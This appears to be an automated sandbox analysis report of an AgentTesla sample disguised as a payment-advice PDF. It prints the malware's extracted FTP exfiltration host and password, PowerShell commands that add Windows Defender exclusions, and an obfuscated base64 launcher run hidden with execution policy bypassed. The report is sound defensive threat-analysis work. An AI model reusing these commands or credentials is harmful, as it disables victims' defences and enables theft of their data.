Resubmissions
10/09/2026, 09:39
260910-lmr7ea1ekh1010/09/2026, 09:29
260910-lgc6as1dpa1010/09/2026, 09:20
260910-la9kxs1cqg10Analysis
- max time kernel
149s - max time network
150s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
10/09/2026, 09:39
General
- Target Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
- Size 1.0MB
- Sample260910-lmr7ea1ekh
- SHA256 cd779076639126e20c3a7f2db656f376977953493fa33cc1ac232c4631f19810
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://server356.web-hosting.com
-
Port
21
-
Username
-
Password
nHacaNzaz&,rdS4n
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$jbbeap=$env:COMPUTERNAME;$dvvnz5=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$ltzt1p=Get-Date;$skjacf=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHBzLmV4ZQ==')));$dgook4=9494;& $dvvnz5 -FilePath $skjacf"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ps.exe"C:\Users\Admin\AppData\Roaming\ps.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ps.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_yo3qb205.gkh.ps1
ps.exe
memory/2000-58-0x0000000005740000-0x0000000005750000-memory.dmp
memory/2000-15-0x00000000056A0000-0x0000000005706000-memory.dmp
memory/2000-14-0x0000000005740000-0x0000000005750000-memory.dmp
memory/2000-9-0x0000000000400000-0x0000000000442000-memory.dmp
memory/2652-29-0x0000017F618F0000-0x0000017F61912000-memory.dmp
memory/5116-72-0x0000000070780000-0x00000000707CC000-memory.dmp
memory/5116-80-0x0000000007B70000-0x0000000007C13000-memory.dmp
memory/5116-62-0x0000000006280000-0x00000000065D7000-memory.dmp
memory/5116-71-0x0000000006930000-0x000000000697C000-memory.dmp
memory/5188-7-0x0000000005D10000-0x0000000005D20000-memory.dmp
memory/5188-8-0x00000000086D0000-0x00000000087AE000-memory.dmp
memory/5188-6-0x0000000005CF0000-0x0000000005D0E000-memory.dmp
memory/5188-5-0x0000000005BF0000-0x0000000005C8C000-memory.dmp
memory/5188-4-0x0000000005B30000-0x0000000005B3A000-memory.dmp
memory/5188-0-0x0000000000FD0000-0x00000000010DE000-memory.dmp
memory/5188-3-0x0000000005D10000-0x0000000005D20000-memory.dmp
memory/5188-2-0x0000000005A80000-0x0000000005B12000-memory.dmp
memory/5188-1-0x0000000005F50000-0x00000000064F6000-memory.dmp
memory/5360-82-0x0000000006AD0000-0x0000000006B20000-memory.dmp
memory/5472-27-0x00000000062B0000-0x00000000062CE000-memory.dmp
memory/5472-41-0x00000000707A0000-0x00000000707EC000-memory.dmp
memory/5472-49-0x00000000074C0000-0x00000000074DE000-memory.dmp
memory/5472-50-0x00000000074E0000-0x0000000007583000-memory.dmp
memory/5472-52-0x0000000007620000-0x000000000763A000-memory.dmp
memory/5472-51-0x0000000007C60000-0x00000000082DA000-memory.dmp
memory/5472-53-0x0000000007680000-0x000000000768A000-memory.dmp
memory/5472-54-0x0000000007890000-0x0000000007926000-memory.dmp
memory/5472-40-0x0000000007480000-0x00000000074B2000-memory.dmp
memory/5472-28-0x0000000006360000-0x00000000063AC000-memory.dmp
memory/5472-26-0x0000000005CA0000-0x0000000005FF7000-memory.dmp
memory/5472-18-0x0000000005310000-0x0000000005376000-memory.dmp
memory/5472-17-0x0000000005170000-0x0000000005192000-memory.dmp
memory/5472-16-0x0000000005550000-0x0000000005C1A000-memory.dmp
memory/5472-11-0x0000000002AF0000-0x0000000002B00000-memory.dmp
memory/5472-13-0x0000000002AF0000-0x0000000002B00000-memory.dmp
memory/5472-12-0x00000000028F0000-0x0000000002926000-memory.dmp